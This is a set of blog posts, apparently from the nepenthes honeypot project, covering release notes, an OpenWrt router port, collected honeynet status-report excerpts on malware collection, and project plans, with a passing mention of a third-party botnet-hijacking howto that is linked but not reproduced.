The Asus WL-500g Deluxe has usb 2.0 interfaces, but I was unable to get one of these, and asking a friend for hers, my charme failed to convince her ...
For now, i did not link nepenthes against uclibc++, as advised in the OpenWrt docs, I just copied the stdlibc++.so.6 library to the nepenthes share and symlinked it into /lib, but ... it works ... without any modification on the code.
root@OpenWrtBox:/opt/nepenthes# bin/nepenthes -w /opt/nepenthes -c /opt/nepenthes/etc/nepenthes/nepenthes.conf --version Nepenthes Version 0.1.7 Compiled on Linux/MIPS at May 23 2006 18:07:36 with g++ 3.4.4 (OpenWrt-1.0) Started on test running Linux/mips release 2.4.30
If you got one of these devices, and want to play around with nepenthes on it, drop me a line.
Once I have cleaned up the additions to the OpenWrt toolchain, I’ll ask them if they are intrested in adding nepenthes to the default package set.
Recently the scanner statistics create by Christoph Bauer were linked on a larger german newssite, the effect is similar to slashdotting something, but its got another name, ‘heise ddos’.
I increased the number of preforked childs on apache to fix it, as there were *many* connections with traffic in sendq, and from what I can see now, it works again.
Usefull pages once you ever hit this problem:
To make it short, the statistics linked are about 6 month old, even though I have no idea whats the point in linking old statistics about virus scanners on a newspage ... enjoy the ride.
Alternatively checkout
There are 2 serious problems in 0.1.7 in handling mydoom & bagle connections, both will run the box out of memory.
Thats why we recommend to apply the patch, not loading the two modules would fix it too.
If you use prelude and wonder why it does not work, apply the shellcode-signatures yy* fn namespacing patch.
Forget everything you may have heard about 0.1.7, its slightly different from what we planned, but it is done, and you can get it here.
We did not remove geolocation and submit-xmlrpc to honor Emre Bastuz work on the NepenthesFE webinterface.
The default logging became pretty quiet, if you love the spam on console, configure with –enable-debug-logging. I was able to compile it on OpenBSD, NetBSD, FreeBSD, as well as any debian, and Fedora Core 5 using g++ 4.1.
If you update an existing install, please read the guide on updating conf files, or you will screw your install.
Special thanks to Emre Bastuz for the webinterface, Harald Lampesberger for fixing log-prelude as well for writing the vuln-ftpd module, and last but not least to http://www.shadowserver.org for running bleeding edge code, helping us to debug it.
Refer to the release notes for further changes.
Have fun using it.
Some ‘days’ ago the deadline for the honeynet projects alliance bi annual status reports deadline was reached. As I think all reports are up now, or at least I hope it, I spend some time reading them.
As there is no single page where you could read all reports, this was pretty time consuming, after reading half of the reports, I had the great idea pasting the parts of every report together when we got mentioned.
After having done 3/4 of all pasting, my damn firefox decided to die ... and I had to do it again.
I hope the summary was worth the time, I had to reformat some parts.
If you want to get the list of all reports, its below the summary.
# Malware collection on Debian Intel (~250 IP) using either:
Virtual Honeypots:
Nepenthes_pub: 1 nepenthes sensor binding one IP of China Public Internet.
Nepenthes_edu: 1 nepenthes sensor binding one class C IP range of China Education and Research Network (CERNET).
collectors.
We have a /17 (now /18) network for nepenthes.
Several nepenthes sensors in diverse locations at several ISPs
Malware collection
We collected more than 15,000 malware binaries with the help of nepenthes. The tool proofed to be useful and several other teams (also many non-honeynet related organizations) now use nepenthes on a daily basis. The collected malware consist of mostly bots, but there are also diverse other types of malware.
We have been running combinations of Nepenthes and MWCollect sensors for the past year, and as no direct performance and malware collection comparison statistics were available, we decided to conduct a research excercise on this topic. Two identical Debian Linux systems (both hardware and software) were set up, each running the default configuration of the latest version of Nepenthes and MWCollect. 120 IP addresses were assigned to each sensor, applied as virtual interfaces in an alternating fashion (.1 = Nepenthes, .2 = MWCollect, .3 = Nepenthes, etc) and connected to a 2MBit/sec UK ISP ADSL circuit.
Malware collection data was gathered for a month and a short comparison report will be published shortly, although the importance of this data has been significantly reduced due to the recent Nepenthes / MWCollect Fusion announcement - timing is everything! 
During March one Nepenthes sensor collected an unusual piece of Windows malware that was protected using PELock.
At the time, other members of the Malware Collection Alliance had not seen this particular binary, or other exploit binaries protected using PELock, and the malware was not detected by common AV or sandbox tools such as Norman or VirusTotal.
Initial malware analysis was performed by members of the French honeynet project and more detail will follow in a future mini-report.
Malicious network traffic on TCP port 445 is still huge, we had several million downloads of malware binaries on our nepenthes sensors.
The malware collection tools continue to go from strength to strength, and with the MWCollect/Nepenthes Fusion announcement, it is very simple to easily collect the malware which is local to your own networks. Coupled with automated Norman Sandbox analysis reports, this represents an excellent way of keeping on top of malware activity without the need to deploy full high interaction honeypots.
Don`t run your nepenthes sensors with the default logging level unless you have a lot of disk space - it will quickly run out and you will lose binaries/shellcodes. If possible, actively monitor disk space on all honeynet components, and alert on shortages (as sudden large changes in free disk space is a sure sign that something unexpected has occured).
Integration of virtual honeypots (like honeyd and nepenthes) and physical honeypots to get a scalable, lower cost/threats/labor solution, but still provide high interaction level to the novel attacks/malware.
Explore how honynets can be used as an additional component within an IDS infrastructure. We are experimenting with nepenthes in this area and first results are convincing.
We’ve developed a sandbox parser which automatically processes the malware reports sent to us from Norman. The malware is collected using nepenthes and the submit-norman plugin. On regular intervals all un-processed mail from Norman is parsed and the data put into a MySQL database. Then we present this data on our webside using various charts and tables (Link: http://www.honeynor.no/research/sandbox).
nepenthes / mwcollect – “Collecting malware in non-native environments”
The main idea behind nepenthes is emulation of vulnerable services. Instead of deploying a high-interaction honeypot with vulnerable services that can be exploited by autonomous spreading malware, this program emulates the services. On the one hand, this reduces the risk of running a honeynet. Since nepenthes does not run a vulnerable service, an attacker can not fully compromise the honeypot. The attacking process will interactt with an emulation and thus we mitigate the risk involved. Once we have downloaded a piece of malware, it is stored on the hard disk and never executed. So the honeypot is never infected with malware – something impossible with a high-interaction honeypot. On the other hand, this approach leads to better scalability: we were able to run several thousand honeypots on just one physical machine.
More information is available at http://nepenthes.mwcollect.org
mwcollect Alliance
The idea behind this project is to establised a trusted community which aims at collecting malware. Every participant contributes data (e.g., malware collected with the help of nepenthes) and has then access to all data contributed by others. The central repository is now up and running and we have about 100 participants. More information is available at https://alliance.mwcollect.org
Advanced Honeynet-based Intrusion Detection
The goal of this project is to build a distributed Intrusion Detection System (IDS) based on nepenthes and Blast-O-Mat. The system should be capable of efficiently detecting offending hosts within the campus network and block network access of these machines. Moreover, it should include an alerting mechanism and a way to download patches to the blocked machines.
This research is carried out by Jan Göbel as part of his diploma thesis
nepenthes should work together with honeyd soon.
There are some issues left (UDP socket timeouts), though.
nepenthes interacts with the Sandbox by Norman and we are currently in the process of integrating it with CWSandbox.
We hope to automate the complete process of capturing a malware binary, analyzing it, and finally tracking the associated botnet. This will then be a tool for automated botnet detection and mitigation.
Eventually an integration of nepenthes with the Honeywall makes sense.
We had some discussions about this and wait until the next Honeywall with distributed capabilities is published.
A “Botnet Malware Analysis” course was given at the joint FIRST Technical Colloquium and 17th TF-CSIRT meeting on January 25th, 2006 by Carlos Fragoso (SHP member) in collaboration with Francisco Monserrat (IRIS-CERT).
It mainly described a behavioural and code-based analysis approach using common open-source tools. It was a case-based approach using a real-world specimen obtained from mwcollect/nephentes probes on the spanish national research network.
We are going to continue HoneyMole development with new functionalities and improvements. Our honeypot farm concept will be used to deploy a central repository for malware detection with Nepenthes.
I want to point out the Norwegian HP for their sandbox statistics , as well as the Philippine HP for their superior portscanning statistics, and last but not least the Chinese HP for best bi annual report.
As we are part of the German Honeynet Project, don’t take our report too serious.
It’s spring, still damn cold outside, but sometimes the sun shines, and if you goto bed too late the damn birds wake you up when dawn begins.
Spring is usually the time to clean up whatever you like, we will clean up nepenthes code.
The geolocation service, as well as the submit-xmlrpc service will be removed.
Geolocation was a hack for ourselves as we wanted to draw this shiny google map, and ... this was the cheapest way, but its sure that resolving an address to a location can be done serverside much better.
submit-xmlrpc was a hack to transfer more data than the gotek 1.0 protocol was capable of, it works, but it lacks any kind auth auth, and is pretty ugly.
We will replace this with a new version of the gotek protocol, and offer a standalone server, as well as a nepenthes module to use this *new* service.
You can check out the protocol draft for gotek 2.0, and mail us suggestions.
Not really worth a news, but ... now we have an own fav icon, I was pretty puzzled myself as I did not know about it, and was looking for the standard dokuwiki icon in my browsers tabs ..., opening a new time always ...
I ended up having the same page 11 times open.
Mindfuck created a howto about using nepenthes to hijack others botnets. (here is the local better formated copy i made)
We always knew the others would adapt new techniques and use them for their own purpose, read the howto to get a drone runners point in honeynetting.
Technical the content of the text is nothing new, the exciting sections are pretty small, some lines instead of a dozen pages about gathering information about the samples ...
But apart from some technical lacks, its funny to read and definitly worth your time.